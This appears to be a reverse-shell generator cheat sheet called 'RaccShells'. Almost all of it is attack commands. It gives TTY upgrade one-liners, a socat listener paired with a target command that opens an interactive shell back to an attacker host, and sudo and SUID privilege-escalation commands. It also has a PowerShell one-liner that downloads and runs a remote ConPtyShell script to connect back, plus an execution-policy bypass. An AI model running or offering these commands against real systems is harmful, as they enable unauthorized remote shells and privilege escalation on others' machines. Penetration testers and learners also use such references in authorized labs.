RaccShells - Reverse Shell Generator

► Spawn TTY Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

python -c 'import pty; pty.spawn("/bin/bash")'

/usr/bin/script -qc /bin/bash /dev/null

perl -e 'exec "/bin/bash";'

ruby -e 'exec "/bin/bash"'

lua -e 'os.execute("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

► Fully Interactive TTY (stty)

After spawning a TTY, background the shell (Ctrl-Z) and run these on your LOCAL machine:

stty raw -echo; fg

stty size # check your terminal size

Then on the REMOTE shell:

export TERM=xterm-256color

stty rows 50 cols 200 # match your local stty size

reset

► Socat Fully Interactive TTY

Listener (attacker):

socat file:`tty`,raw,echo=0 tcp-listen:4444

Target (if socat available):

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444

► Common Shell Escapes (sudo -l / SUID)

sudo /bin/bash

sudo -u root /bin/bash -p

find / -perm -4000 -type f 2>/dev/null

► Windows Shell Upgrade

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.10.10 4444

powershell -ep bypass